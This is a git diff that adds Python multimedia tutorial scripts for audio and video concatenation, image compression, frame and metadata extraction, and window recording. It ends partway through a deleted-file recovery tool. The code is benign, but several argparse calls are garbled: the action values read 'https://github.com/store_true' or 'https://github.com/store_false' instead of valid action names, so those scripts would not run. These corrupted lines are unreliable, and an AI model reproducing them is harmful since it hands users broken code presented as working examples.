+ """
+ def get_file_extension(filename):
+ """A helper function to get a file's extension"""
+ return os.path.splitext(filename)[1].lstrip(".")
+
+ clips = []
+ # wrap the audio clip paths with tqdm if verbose
+ audio_clip_paths = tqdm(audio_clip_paths, "Reading audio file") if verbose else audio_clip_paths
+ for clip_path in audio_clip_paths:
+ # get extension of the audio file
+ extension = get_file_extension(clip_path)
+ # load the audio clip and append it to our list
+ clip = AudioSegment.from_file(clip_path, extension)
+ clips.append(clip)
+
+ final_clip = clips[0]
+ range_loop = tqdm(list(range(1, len(clips))), "Concatenating audio") if verbose else range(1, len(clips))
+ for i in range_loop:
+ # looping on all audio files and concatenating them together
+ # ofc order is important
+ final_clip = final_clip + clips[i]
+ # export the final clip
+ final_clip_extension = get_file_extension(output_path)
+ if verbose:
+ print(f"Exporting resulting audio file to {output_path}")
+ final_clip.export(output_path, format=final_clip_extension)
+
+
+if __name__ == "__main__":
+ import argparse
+ parser = argparse.ArgumentParser(description="Simple Audio file combiner using PyDub library in Python")
+ parser.add_argument("-c", "--clips", nargs="+",
+ help="List of audio clip paths")
+ parser.add_argument("-o", "--output", help="The output audio file, extension must be included (such as mp3, etc.)")
+ args = parser.parse_args()
+ concatenate_audio_pydub(args.clips, args.output)
\ No newline at end of file
diff --git a/python-for-multimedia/combine-audio/concatenate_audio_wave.py b/python-for-multimedia/combine-audio/concatenate_audio_wave.py
new file mode 100644
index 00000000..39031dc1
--- /dev/null
+++ b/python-for-multimedia/combine-audio/concatenate_audio_wave.py
@@ -0,0 +1,25 @@
+import wave
+
+def concatenate_audio_wave(audio_clip_paths, output_path):
+ """Concatenates several audio files into one audio file using Python's built-in wav module
+ and save it to `output_path`. Note that extension (wav) must be added to `output_path`"""
+ data = []
+ for clip in audio_clip_paths:
+ w = wave.open(clip, "rb")
+ data.append([w.getparams(), w.readframes(w.getnframes())])
+ w.close()
+ output = wave.open(output_path, "wb")
+ output.setparams(data[0][0])
+ for i in range(len(data)):
+ output.writeframes(data[i][1])
+ output.close()
+
+
+if __name__ == "__main__":
+ import argparse
+ parser = argparse.ArgumentParser(description="Simple Audio file combiner using wave module in Python")
+ parser.add_argument("-c", "--clips", nargs="+",
+ help="List of audio clip paths")
+ parser.add_argument("-o", "--output", help="The output audio file, extension (wav) must be included")
+ args = parser.parse_args()
+ concatenate_audio_wave(args.clips, args.output)
\ No newline at end of file
diff --git a/python-for-multimedia/combine-audio/directed-by-robert.mp3 b/python-for-multimedia/combine-audio/directed-by-robert.mp3
new file mode 100644
index 00000000..9ae10793
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diff --git a/python-for-multimedia/combine-audio/requirements.txt b/python-for-multimedia/combine-audio/requirements.txt
new file mode 100644
index 00000000..8eacc927
--- /dev/null
+++ b/python-for-multimedia/combine-audio/requirements.txt
@@ -0,0 +1,2 @@
+moviepy
+pydub
\ No newline at end of file
diff --git a/python-for-multimedia/combine-audio/zoo.mp3 b/python-for-multimedia/combine-audio/zoo.mp3
new file mode 100644
index 00000000..8d8ac115
Binary files /dev/null and b/python-for-multimedia/combine-audio/zoo.mp3 differ
diff --git a/python-for-multimedia/combine-video/README.md b/python-for-multimedia/combine-video/README.md
new file mode 100644
index 00000000..ee56a9d7
--- /dev/null
+++ b/python-for-multimedia/combine-video/README.md
@@ -0,0 +1,26 @@
+# [How to Concatenate Video Files in Python](https://www.thepythoncode.com/article/concatenate-video-files-in-python)
+To run this:
+- `pip3 install -r requirements.txt`
+-
+```
+ $ python concatenate_video.py --help
+```
+**Output**:
+```
+ usage: concatenate_video.py [-h] [-c CLIPS [CLIPS ...]] [-r REDUCE] [-o OUTPUT]
+
+ Simple Video Concatenation script in Python with MoviePy Library
+
+ optional arguments:
+ -h, --help show this help message and exit
+ -c CLIPS [CLIPS ...], --clips CLIPS [CLIPS ...]
+ List of audio or video clip paths
+ -r REDUCE, --reduce REDUCE
+ Whether to use the `reduce` method to reduce to the lowest quality on the resulting clip
+ -o OUTPUT, --output OUTPUT
+ Output file name
+```
+- To combine `zoo.mp4` and `directed-by-robert.mp4` to produce `output.mp4`:
+```
+ $ python concatenate_video.py -c zoo.mp4 directed-by-robert.mp4 -o output.mp4
+```
\ No newline at end of file
diff --git a/python-for-multimedia/combine-video/concatenate_video.py b/python-for-multimedia/combine-video/concatenate_video.py
new file mode 100644
index 00000000..558ed9a1
--- /dev/null
+++ b/python-for-multimedia/combine-video/concatenate_video.py
@@ -0,0 +1,41 @@
+from moviepy.editor import concatenate_videoclips, VideoFileClip
+
+
+def concatenate(video_clip_paths, output_path, method="compose"):
+ """Concatenates several video files into one video file
+ and save it to `output_path`. Note that extension (mp4, etc.) must be added to `output_path`
+ `method` can be either 'compose' or 'reduce':
+ `reduce`: Reduce the quality of the video to the lowest quality on the list of `video_clip_paths`.
+ `compose`: type help(concatenate_videoclips) for the info"""
+ # create VideoFileClip object for each video file
+ clips = [VideoFileClip(c) for c in video_clip_paths]
+ if method == "reduce":
+ # calculate minimum width & height across all clips
+ min_height = min([c.h for c in clips])
+ min_width = min([c.w for c in clips])
+ # resize the videos to the minimum
+ clips = [c.resize(newsize=(min_width, min_height)) for c in clips]
+ # concatenate the final video
+ final_clip = concatenate_videoclips(clips)
+ elif method == "compose":
+ # concatenate the final video with the compose method provided by moviepy
+ final_clip = concatenate_videoclips(clips, method="compose")
+ # write the output video file
+ final_clip.write_videofile(output_path)
+
+
+if __name__ == "__main__":
+ import argparse
+ parser = argparse.ArgumentParser(
+ description="Simple Video Concatenation script in Python with MoviePy Library")
+ parser.add_argument("-c", "--clips", nargs="+",
+ help="List of audio or video clip paths")
+ parser.add_argument("-r", "--reduce", action="https://github.com/store_true",
+ help="Whether to use the `reduce` method to reduce to the lowest quality on the resulting clip")
+ parser.add_argument("-o", "--output", help="Output file name")
+ args = parser.parse_args()
+ clips = args.clips
+ output_path = args.output
+ reduce = args.reduce
+ method = "reduce" if reduce else "compose"
+ concatenate(clips, output_path, method)
diff --git a/python-for-multimedia/combine-video/directed-by-robert.mp4 b/python-for-multimedia/combine-video/directed-by-robert.mp4
new file mode 100644
index 00000000..23b1b109
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diff --git a/python-for-multimedia/combine-video/requirements.txt b/python-for-multimedia/combine-video/requirements.txt
new file mode 100644
index 00000000..c1ecf8a3
--- /dev/null
+++ b/python-for-multimedia/combine-video/requirements.txt
@@ -0,0 +1 @@
+moviepy
\ No newline at end of file
diff --git a/python-for-multimedia/combine-video/zoo.mp4 b/python-for-multimedia/combine-video/zoo.mp4
new file mode 100644
index 00000000..b7dce1d1
Binary files /dev/null and b/python-for-multimedia/combine-video/zoo.mp4 differ
diff --git a/python-for-multimedia/compress-image/README.md b/python-for-multimedia/compress-image/README.md
new file mode 100644
index 00000000..919414cc
--- /dev/null
+++ b/python-for-multimedia/compress-image/README.md
@@ -0,0 +1,56 @@
+# Compress Image
+
+Advanced Image Compressor with Batch Processing
+
+This script provides advanced image compression and resizing features using Python and Pillow.
+
+## Features
+
+- Batch processing of multiple images or directories
+- Lossy and lossless compression (PNG/WebP)
+- Optional JPEG conversion
+- Resize by ratio or explicit dimensions
+- Preserve or strip metadata (EXIF)
+- Custom output directory
+- Progress bar using `tqdm`
+- Detailed logging
+
+## Requirements
+
+- Python 3.6+
+- [Pillow](https://pypi.org/project/Pillow/)
+- [tqdm](https://pypi.org/project/tqdm/)
+
+Install dependencies:
+
+```bash
+pip install pillow tqdm
+```
+
+## Usage
+
+```bash
+python compress_image.py [options] [ ...]
+```
+
+## Options
+- `-o`, `--output-dir`: Output directory (default: same as input)
+- `-q`, `--quality`: Compression quality (0-100, default: 85)
+- `-r`, `--resize-ratio`: Resize ratio (0-1, default: 1.0)
+- `-w`, `--width`: Output width (requires `--height`)
+- `-hh`, `--height`: Output height (requires `--width`)
+- `-j`, `--to-jpg`: Convert output to JPEG
+- `-m`, `--no-metadata`: Strip metadata (default: preserve)
+- `-l`, `--lossless`: Use lossless compression (PNG/WEBP)
+
+## Examples
+
+```bash
+python compress_image.py image.jpg -r 0.5 -q 80 -j
+python compress_image.py images/ -o output/ -m
+python compress_image.py image.png -l
+```
+
+## License
+
+MIT License.
diff --git a/python-for-multimedia/compress-image/compress_image.py b/python-for-multimedia/compress-image/compress_image.py
new file mode 100644
index 00000000..f1696aa0
--- /dev/null
+++ b/python-for-multimedia/compress-image/compress_image.py
@@ -0,0 +1,104 @@
+import os
+from PIL import Image
+import argparse
+import logging
+from tqdm import tqdm
+
+# Configure logging
+logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
+logger = logging.getLogger(__name__)
+
+def get_size_format(b, factor=1024, suffix="B"):
+ """Scale bytes to its proper byte format."""
+ for unit in ["", "K", "M", "G", "T", "P", "E", "Z"]:
+ if b < factor:
+ return f"{b:.2f}{unit}{suffix}"
+ b /= factor
+ return f"{b:.2f}Y{suffix}"
+
+def compress_image(
+ input_path,
+ output_dir=None,
+ quality=85,
+ resize_ratio=1.0,
+ width=None,
+ height=None,
+ to_jpg=False,
+ preserve_metadata=True,
+ lossless=False,
+):
+ """Compress an image with advanced options."""
+ try:
+ img = Image.open(input_path)
+ logger.info(f"[*] Processing: {os.path.basename(input_path)}")
+ logger.info(f"[*] Original size: {get_size_format(os.path.getsize(input_path))}")
+
+ # Resize if needed
+ if resize_ratio < 1.0:
+ new_size = (int(img.size[0] * resize_ratio), int(img.size[1] * resize_ratio))
+ img = img.resize(new_size, Image.LANCZOS)
+ logger.info(f"[+] Resized to: {new_size}")
+ elif width and height:
+ img = img.resize((width, height), Image.LANCZOS)
+ logger.info(f"[+] Resized to: {width}x{height}")
+
+ # Prepare output path
+ filename, ext = os.path.splitext(os.path.basename(input_path))
+ output_ext = ".jpg" if to_jpg else ext
+ output_filename = f"{filename}_compressed{output_ext}"
+ output_path = os.path.join(output_dir or os.path.dirname(input_path), output_filename)
+
+ # Save with options
+ save_kwargs = {"quality": quality, "optimize": True}
+ if not preserve_metadata:
+ save_kwargs["exif"] = b"" # Strip metadata
+ if lossless and ext.lower() in (".png", ".webp"):
+ save_kwargs["lossless"] = True
+
+ try:
+ img.save(output_path, **save_kwargs)
+ except OSError:
+ img = img.convert("RGB")
+ img.save(output_path, **save_kwargs)
+
+ logger.info(f"[+] Saved to: {output_path}")
+ logger.info(f"[+] New size: {get_size_format(os.path.getsize(output_path))}")
+ except Exception as e:
+ logger.error(f"[!] Error processing {input_path}: {e}")
+
+def batch_compress(
+ input_paths,
+ output_dir=None,
+ quality=85,
+ resize_ratio=1.0,
+ width=None,
+ height=None,
+ to_jpg=False,
+ preserve_metadata=True,
+ lossless=False,
+):
+ """Compress multiple images."""
+ if output_dir and not os.path.exists(output_dir):
+ os.makedirs(output_dir, exist_ok=True)
+ for path in tqdm(input_paths, desc="Compressing images"):
+ compress_image(path, output_dir, quality, resize_ratio, width, height, to_jpg, preserve_metadata, lossless)
+
+if __name__ == "__main__":
+ parser = argparse.ArgumentParser(description="Advanced Image Compressor with Batch Processing")
+ parser.add_argument("input", nargs='+', help="Input image(s) or directory")
+ parser.add_argument("-o", "--output-dir", help="Output directory (default: same as input)")
+ parser.add_argument("-q", "--quality", type=int, default=85, help="Compression quality (0-100)")
+ parser.add_argument("-r", "--resize-ratio", type=float, default=1.0, help="Resize ratio (0-1)")
+ parser.add_argument("-w", "--width", type=int, help="Output width (requires --height)")
+ parser.add_argument("-hh", "--height", type=int, help="Output height (requires --width)")
+ parser.add_argument("-j", "--to-jpg", action="https://github.com/store_true", help="Convert output to JPEG")
+ parser.add_argument("-m", "--no-metadata", action="https://github.com/store_false", help="Strip metadata")
+ parser.add_argument("-l", "--lossless", action="https://github.com/store_true", help="Use lossless compression (PNG/WEBP)")
+
+ args = parser.parse_args()
+ input_paths = []
+ for path in args.input:
+ if os.path.isdir(path): input_paths.extend(os.path.join(path, f) for f in os.listdir(path) if f.lower().endswith((".jpg",".jpeg",".png",".webp")))
+ else: input_paths.append(path)
+ if not input_paths: logger.error("No valid images found!"); exit(1)
+ batch_compress(input_paths, args.output_dir, args.quality, args.resize_ratio, args.width, args.height, args.to_jpg, args.no_metadata, args.lossless)
diff --git a/python-for-multimedia/compress-image/jakarta.png b/python-for-multimedia/compress-image/jakarta.png
new file mode 100644
index 00000000..166a5600
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diff --git a/python-for-multimedia/compress-image/requirements.txt b/python-for-multimedia/compress-image/requirements.txt
new file mode 100644
index 00000000..5873a222
--- /dev/null
+++ b/python-for-multimedia/compress-image/requirements.txt
@@ -0,0 +1 @@
+Pillow
\ No newline at end of file
diff --git a/python-for-multimedia/compress-image/sample-satellite-images.png b/python-for-multimedia/compress-image/sample-satellite-images.png
new file mode 100644
index 00000000..fe885d83
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diff --git a/python-for-multimedia/create-video-from-images/README.md b/python-for-multimedia/create-video-from-images/README.md
new file mode 100644
index 00000000..43cce95b
--- /dev/null
+++ b/python-for-multimedia/create-video-from-images/README.md
@@ -0,0 +1 @@
+# [How to Create Videos from Images in Python](https://thepythoncode.com/article/create-a-video-from-images-opencv-python)
\ No newline at end of file
diff --git a/python-for-multimedia/create-video-from-images/create_video_from_images.py b/python-for-multimedia/create-video-from-images/create_video_from_images.py
new file mode 100644
index 00000000..e81efd9a
--- /dev/null
+++ b/python-for-multimedia/create-video-from-images/create_video_from_images.py
@@ -0,0 +1,43 @@
+import cv2
+import argparse
+import glob
+from pathlib import Path
+import shutil
+
+# Create an ArgumentParser object to handle command-line arguments
+parser = argparse.ArgumentParser(description='Create a video from a set of images')
+
+# Define the command-line arguments
+parser.add_argument('output', type=str, help='Output path for video file')
+parser.add_argument('input', nargs='+', type=str, help='Glob pattern for input images')
+parser.add_argument('-fps', type=int, help='FPS for video file', default=24)
+
+# Parse the command-line arguments
+args = parser.parse_args()
+
+# Create a list of all the input image files
+FILES = []
+for i in args.input:
+ FILES += glob.glob(i)
+
+# Get the filename from the output path
+filename = Path(args.output).name
+print(f'Creating video "{filename}" from images "{FILES}"')
+
+# Load the first image to get the frame size
+frame = cv2.imread(FILES[0])
+height, width, layers = frame.shape
+
+# Create a VideoWriter object to write the video file
+fourcc = cv2.VideoWriter_fourcc(*'mp4v')
+video = cv2.VideoWriter(filename=filename, fourcc=fourcc, fps=args.fps, frameSize=(width, height))
+
+# Loop through the input images and add them to the video
+for image_path in FILES:
+ print(f'Adding image "{image_path}" to video "{args.output}"... ')
+ video.write(cv2.imread(image_path))
+
+# Release the VideoWriter and move the output file to the specified location
+cv2.destroyAllWindows()
+video.release()
+shutil.move(filename, args.output)
diff --git a/python-for-multimedia/create-video-from-images/requirements.txt b/python-for-multimedia/create-video-from-images/requirements.txt
new file mode 100644
index 00000000..1db7aea1
--- /dev/null
+++ b/python-for-multimedia/create-video-from-images/requirements.txt
@@ -0,0 +1 @@
+opencv-python
\ No newline at end of file
diff --git a/python-for-multimedia/extract-frames-from-video/README.md b/python-for-multimedia/extract-frames-from-video/README.md
new file mode 100644
index 00000000..3b15a18d
--- /dev/null
+++ b/python-for-multimedia/extract-frames-from-video/README.md
@@ -0,0 +1,4 @@
+# [How to Extract Frames from Video in Python](https://www.thepythoncode.com/article/extract-frames-from-videos-in-python)
+To run this:
+- `pip3 install -r requirements.txt`
+- Use `extract_frames_opencv.py` for using OpenCV to extract frames, or use `extract_frames_moviepy.py` for using MoviePy library.
\ No newline at end of file
diff --git a/python-for-multimedia/extract-frames-from-video/extract_frames_moviepy.py b/python-for-multimedia/extract-frames-from-video/extract_frames_moviepy.py
new file mode 100644
index 00000000..14b44670
--- /dev/null
+++ b/python-for-multimedia/extract-frames-from-video/extract_frames_moviepy.py
@@ -0,0 +1,47 @@
+from moviepy.editor import VideoFileClip
+import numpy as np
+import os
+from datetime import timedelta
+
+# i.e if video of duration 30 seconds, saves 10 frame per second = 300 frames saved in total
+SAVING_FRAMES_PER_SECOND = 10
+
+def format_timedelta(td):
+ """Utility function to format timedelta objects in a cool way (e.g 00:00:20.05)
+ omitting microseconds and retaining milliseconds"""
+ result = str(td)
+ try:
+ result, ms = result.split(".")
+ except ValueError:
+ return (result + ".00").replace(":", "-")
+ ms = int(ms)
+ ms = round(ms / 1e4)
+ return f"{result}.{ms:02}".replace(":", "-")
+
+
+def main(video_file):
+ # load the video clip
+ video_clip = VideoFileClip(video_file)
+ # make a folder by the name of the video file
+ filename, _ = os.path.splitext(video_file)
+ filename += "-moviepy"
+ if not os.path.isdir(filename):
+ os.mkdir(filename)
+
+ # if the SAVING_FRAMES_PER_SECOND is above video FPS, then set it to FPS (as maximum)
+ saving_frames_per_second = min(video_clip.fps, SAVING_FRAMES_PER_SECOND)
+ # if SAVING_FRAMES_PER_SECOND is set to 0, step is 1/fps, else 1/SAVING_FRAMES_PER_SECOND
+ step = 1 / video_clip.fps if saving_frames_per_second == 0 else 1 / saving_frames_per_second
+ # iterate over each possible frame
+ for current_duration in np.arange(0, video_clip.duration, step):
+ # format the file name and save it
+ frame_duration_formatted = format_timedelta(timedelta(seconds=current_duration))
+ frame_filename = os.path.join(filename, f"frame{frame_duration_formatted}.jpg")
+ # save the frame with the current duration
+ video_clip.save_frame(frame_filename, current_duration)
+
+
+if __name__ == "__main__":
+ import sys
+ video_file = sys.argv[1]
+ main(video_file)
diff --git a/python-for-multimedia/extract-frames-from-video/extract_frames_opencv.py b/python-for-multimedia/extract-frames-from-video/extract_frames_opencv.py
new file mode 100644
index 00000000..62445c22
--- /dev/null
+++ b/python-for-multimedia/extract-frames-from-video/extract_frames_opencv.py
@@ -0,0 +1,80 @@
+from datetime import timedelta
+import cv2
+import numpy as np
+import os
+
+# i.e if video of duration 30 seconds, saves 10 frame per second = 300 frames saved in total
+SAVING_FRAMES_PER_SECOND = 10
+
+def format_timedelta(td):
+ """Utility function to format timedelta objects in a cool way (e.g 00:00:20.05)
+ omitting microseconds and retaining milliseconds"""
+ result = str(td)
+ try:
+ result, ms = result.split(".")
+ except ValueError:
+ return (result + ".00").replace(":", "-")
+ ms = int(ms)
+ ms = round(ms / 1e4)
+ return f"{result}.{ms:02}".replace(":", "-")
+
+
+def get_saving_frames_durations(cap, saving_fps):
+ """A function that returns the list of durations where to save the frames"""
+ s = []
+ # get the clip duration by dividing number of frames by the number of frames per second
+ clip_duration = cap.get(cv2.CAP_PROP_FRAME_COUNT) / cap.get(cv2.CAP_PROP_FPS)
+ # use np.arange() to make floating-point steps
+ for i in np.arange(0, clip_duration, 1 / saving_fps):
+ s.append(i)
+ return s
+
+
+def main(video_file):
+ filename, _ = os.path.splitext(video_file)
+ filename += "-opencv"
+ # make a folder by the name of the video file
+ if not os.path.isdir(filename):
+ os.mkdir(filename)
+ # read the video file
+ cap = cv2.VideoCapture(video_file)
+ # get the FPS of the video
+ fps = cap.get(cv2.CAP_PROP_FPS)
+ # if the SAVING_FRAMES_PER_SECOND is above video FPS, then set it to FPS (as maximum)
+ saving_frames_per_second = min(fps, SAVING_FRAMES_PER_SECOND)
+ # get the list of duration spots to save
+ saving_frames_durations = get_saving_frames_durations(cap, saving_frames_per_second)
+ # start the loop
+ count = 0
+ while True:
+ is_read, frame = cap.read()
+ if not is_read:
+ # break out of the loop if there are no frames to read
+ break
+ # get the duration by dividing the frame count by the FPS
+ frame_duration = count / fps
+ try:
+ # get the earliest duration to save
+ closest_duration = saving_frames_durations[0]
+ except IndexError:
+ # the list is empty, all duration frames were saved
+ break
+ if frame_duration >= closest_duration:
+ # if closest duration is less than or equals the frame duration,
+ # then save the frame
+ frame_duration_formatted = format_timedelta(timedelta(seconds=frame_duration))
+ cv2.imwrite(os.path.join(filename, f"frame{frame_duration_formatted}.jpg"), frame)
+ # drop the duration spot from the list, since this duration spot is already saved
+ try:
+ saving_frames_durations.pop(0)
+ except IndexError:
+ pass
+ # increment the frame count
+ count += 1
+
+
+
+if __name__ == "__main__":
+ import sys
+ video_file = sys.argv[1]
+ main(video_file)
\ No newline at end of file
diff --git a/python-for-multimedia/extract-frames-from-video/requirements.txt b/python-for-multimedia/extract-frames-from-video/requirements.txt
new file mode 100644
index 00000000..32620f44
--- /dev/null
+++ b/python-for-multimedia/extract-frames-from-video/requirements.txt
@@ -0,0 +1,3 @@
+python-opencv
+moviepy
+numpy
\ No newline at end of file
diff --git a/python-for-multimedia/extract-frames-from-video/zoo.mp4 b/python-for-multimedia/extract-frames-from-video/zoo.mp4
new file mode 100644
index 00000000..b7dce1d1
Binary files /dev/null and b/python-for-multimedia/extract-frames-from-video/zoo.mp4 differ
diff --git a/python-for-multimedia/extract-video-metadata/README.md b/python-for-multimedia/extract-video-metadata/README.md
new file mode 100644
index 00000000..f7e1d0b4
--- /dev/null
+++ b/python-for-multimedia/extract-video-metadata/README.md
@@ -0,0 +1,4 @@
+# [How to Extract Video Metadata in Python](https://www.thepythoncode.com/article/extract-media-metadata-in-python)
+To run this:
+- Install [FFmpeg](https://www.ffmpeg.org/) program.
+- `pip3 install -r requirements.txt`
\ No newline at end of file
diff --git a/python-for-multimedia/extract-video-metadata/extract_media_metadata.py b/python-for-multimedia/extract-video-metadata/extract_media_metadata.py
new file mode 100644
index 00000000..c639acf9
--- /dev/null
+++ b/python-for-multimedia/extract-video-metadata/extract_media_metadata.py
@@ -0,0 +1,8 @@
+import ffmpeg
+import sys
+from pprint import pprint # for printing Python dictionaries in a human-readable way
+
+# read the audio/video file from the command line arguments
+media_file = sys.argv[1]
+# uses ffprobe command to extract all possible metadata from the media file
+pprint(ffmpeg.probe(media_file)["streams"])
diff --git a/python-for-multimedia/extract-video-metadata/requirements.txt b/python-for-multimedia/extract-video-metadata/requirements.txt
new file mode 100644
index 00000000..9abb3031
--- /dev/null
+++ b/python-for-multimedia/extract-video-metadata/requirements.txt
@@ -0,0 +1 @@
+ffmpeg-python
\ No newline at end of file
diff --git a/python-for-multimedia/extract-video-metadata/zoo.mp3 b/python-for-multimedia/extract-video-metadata/zoo.mp3
new file mode 100644
index 00000000..8d8ac115
Binary files /dev/null and b/python-for-multimedia/extract-video-metadata/zoo.mp3 differ
diff --git a/python-for-multimedia/extract-video-metadata/zoo.mp4 b/python-for-multimedia/extract-video-metadata/zoo.mp4
new file mode 100644
index 00000000..b7dce1d1
Binary files /dev/null and b/python-for-multimedia/extract-video-metadata/zoo.mp4 differ
diff --git a/python-for-multimedia/record-specific-window/README.md b/python-for-multimedia/record-specific-window/README.md
new file mode 100644
index 00000000..700084eb
--- /dev/null
+++ b/python-for-multimedia/record-specific-window/README.md
@@ -0,0 +1,4 @@
+# [How to Record a Specific Window in Python](https://www.thepythoncode.com/article/record-a-specific-window-in-python)
+To run this:
+- `pip3 install -r requirements.txt`
+- Example: for recording Chrome: `python record_specific_window.py Chrome`
\ No newline at end of file
diff --git a/python-for-multimedia/record-specific-window/record_specific_window.py b/python-for-multimedia/record-specific-window/record_specific_window.py
new file mode 100644
index 00000000..0a3d92fe
--- /dev/null
+++ b/python-for-multimedia/record-specific-window/record_specific_window.py
@@ -0,0 +1,41 @@
+import cv2
+import numpy as np
+import pyautogui
+import pygetwindow as gw
+import sys
+
+# the window name, e.g "notepad", "Chrome", etc.
+window_name = sys.argv[1]
+
+# define the codec
+fourcc = cv2.VideoWriter_fourcc(*"XVID")
+# frames per second
+fps = 12.0
+# the time you want to record in seconds
+record_seconds = 10
+# search for the window, getting the first matched window with the title
+w = gw.getWindowsWithTitle(window_name)[0]
+# activate the window
+w.activate()
+# create the video write object
+out = cv2.VideoWriter("output.avi", fourcc, fps, tuple(w.size))
+
+for i in range(int(record_seconds * fps)):
+ # make a screenshot
+ img = pyautogui.screenshot(region=(w.left, w.top, w.width, w.height))
+ # convert these pixels to a proper numpy array to work with OpenCV
+ frame = np.array(img)
+ # convert colors from BGR to RGB
+ frame = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB)
+ # write the frame
+ out.write(frame)
+ # show the frame
+ cv2.imshow("screenshot", frame)
+ # if the user clicks q, it exits
+ if cv2.waitKey(1) == ord("q"):
+ break
+
+# make sure everything is closed when exited
+cv2.destroyAllWindows()
+out.release()
+
diff --git a/python-for-multimedia/record-specific-window/requirements.txt b/python-for-multimedia/record-specific-window/requirements.txt
new file mode 100644
index 00000000..85549d53
--- /dev/null
+++ b/python-for-multimedia/record-specific-window/requirements.txt
@@ -0,0 +1,4 @@
+numpy
+opencv-python
+pyautogui
+pygetwindow
\ No newline at end of file
diff --git a/python-for-multimedia/recover-deleted-files/README.md b/python-for-multimedia/recover-deleted-files/README.md
new file mode 100644
index 00000000..9b57b100
--- /dev/null
+++ b/python-for-multimedia/recover-deleted-files/README.md
@@ -0,0 +1 @@
+# [How to Recover Deleted Files with Python](https://thepythoncode.com/article/how-to-recover-deleted-file-with-python)
\ No newline at end of file
diff --git a/python-for-multimedia/recover-deleted-files/file_recovery.py b/python-for-multimedia/recover-deleted-files/file_recovery.py
new file mode 100644
index 00000000..057995c4
--- /dev/null
+++ b/python-for-multimedia/recover-deleted-files/file_recovery.py
@@ -0,0 +1,552 @@
+
+import os
+import sys
+import argparse
+import struct
+import time
+import logging
+import subprocess
+import signal
+from datetime import datetime, timedelta
+from pathlib import Path
+import binascii
+
+# File signatures (magic numbers) for common file types
+FILE_SIGNATURES = {
+ 'jpg': [bytes([0xFF, 0xD8, 0xFF, 0xE0]), bytes([0xFF, 0xD8, 0xFF, 0xE1])],
+ 'png': [bytes([0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A])],
+ 'gif': [bytes([0x47, 0x49, 0x46, 0x38, 0x37, 0x61]), bytes([0x47, 0x49, 0x46, 0x38, 0x39, 0x61])],
+ 'pdf': [bytes([0x25, 0x50, 0x44, 0x46])],
+ 'zip': [bytes([0x50, 0x4B, 0x03, 0x04])],
+ 'docx': [bytes([0x50, 0x4B, 0x03, 0x04, 0x14, 0x00, 0x06, 0x00])], # More specific signature
+ 'xlsx': [bytes([0x50, 0x4B, 0x03, 0x04, 0x14, 0x00, 0x06, 0x00])], # More specific signature
+ 'pptx': [bytes([0x50, 0x4B, 0x03, 0x04, 0x14, 0x00, 0x06, 0x00])], # More specific signature
+ 'mp3': [bytes([0x49, 0x44, 0x33])],
+ 'mp4': [bytes([0x00, 0x00, 0x00, 0x18, 0x66, 0x74, 0x79, 0x70])],
+ 'avi': [bytes([0x52, 0x49, 0x46, 0x46])],
+}
+
+# Additional validation patterns to check after finding the signature
+# This helps reduce false positives
+VALIDATION_PATTERNS = {
+ 'docx': [b'word/', b'[Content_Types].xml'],
+ 'xlsx': [b'xl/', b'[Content_Types].xml'],
+ 'pptx': [b'ppt/', b'[Content_Types].xml'],
+ 'zip': [b'PK\x01\x02'], # Central directory header
+ 'pdf': [b'obj', b'endobj'],
+}
+
+# File endings (trailer signatures) for some file types
+FILE_TRAILERS = {
+ 'jpg': bytes([0xFF, 0xD9]),
+ 'png': bytes([0x49, 0x45, 0x4E, 0x44, 0xAE, 0x42, 0x60, 0x82]),
+ 'gif': bytes([0x00, 0x3B]),
+ 'pdf': bytes([0x25, 0x25, 0x45, 0x4F, 0x46]),
+}
+
+# Maximum file sizes to prevent recovering corrupted files
+MAX_FILE_SIZES = {
+ 'jpg': 30 * 1024 * 1024, # 30MB
+ 'png': 50 * 1024 * 1024, # 50MB
+ 'gif': 20 * 1024 * 1024, # 20MB
+ 'pdf': 100 * 1024 * 1024, # 100MB
+ 'zip': 200 * 1024 * 1024, # 200MB
+ 'docx': 50 * 1024 * 1024, # 50MB
+ 'xlsx': 50 * 1024 * 1024, # 50MB
+ 'pptx': 100 * 1024 * 1024, # 100MB
+ 'mp3': 50 * 1024 * 1024, # 50MB
+ 'mp4': 1024 * 1024 * 1024, # 1GB
+ 'avi': 1024 * 1024 * 1024, # 1GB
+}
+
+class FileRecoveryTool:
+ def __init__(self, source, output_dir, file_types=None, deep_scan=False,
+ block_size=512, log_level=logging.INFO, skip_existing=True,
+ max_scan_size=None, timeout_minutes=None):
+ """
+ Initialize the file recovery tool
+
+ Args:
+ source (str): Path to the source device or directory
+ output_dir (str): Directory to save recovered files
+ file_types (list): List of file types to recover
+ deep_scan (bool): Whether to perform a deep scan
+ block_size (int): Block size for reading data
+ log_level (int): Logging level
+ skip_existing (bool): Skip existing files in output directory
+ max_scan_size (int): Maximum number of bytes to scan
+ timeout_minutes (int): Timeout in minutes
+ """
+ self.source = source
+ self.output_dir = Path(output_dir)
+ self.file_types = file_types if file_types else list(FILE_SIGNATURES.keys())
+ self.deep_scan = deep_scan
+ self.block_size = block_size
+ self.skip_existing = skip_existing
+ self.max_scan_size = max_scan_size
+ self.timeout_minutes = timeout_minutes
+ self.timeout_reached = False
+
+ # Setup logging
+ self.setup_logging(log_level)
+
+ # Create output directory if it doesn't exist
+ self.output_dir.mkdir(parents=True, exist_ok=True)
+
+ # Statistics
+ self.stats = {
+ 'total_files_recovered': 0,
+ 'recovered_by_type': {},
+ 'start_time': time.time(),
+ 'bytes_scanned': 0,
+ 'false_positives': 0
+ }
+
+ for file_type in self.file_types:
+ self.stats['recovered_by_type'][file_type] = 0
+
+ def setup_logging(self, log_level):
+ """Set up logging configuration"""
+ logging.basicConfig(
+ level=log_level,
+ format='%(asctime)s - %(levelname)s - %(message)s',
+ handlers=[
+ logging.StreamHandler(),
+ logging.FileHandler(f"recovery_{datetime.now().strftime('%Y%m%d_%H%M%S')}.log")
+ ]
+ )
+ self.logger = logging.getLogger('file_recovery')
+
+ def _setup_timeout(self):
+ """Set up a timeout handler"""
+ if self.timeout_minutes:
+ def timeout_handler(signum, frame):
+ self.logger.warning(f"Timeout of {self.timeout_minutes} minutes reached!")
+ self.timeout_reached = True
+
+ # Set the timeout
+ signal.signal(signal.SIGALRM, timeout_handler)
+ signal.alarm(int(self.timeout_minutes * 60))
+
+ def get_device_size(self):
+ """Get the size of the device or file"""
+ if os.path.isfile(self.source):
+ # Regular file
+ return os.path.getsize(self.source)
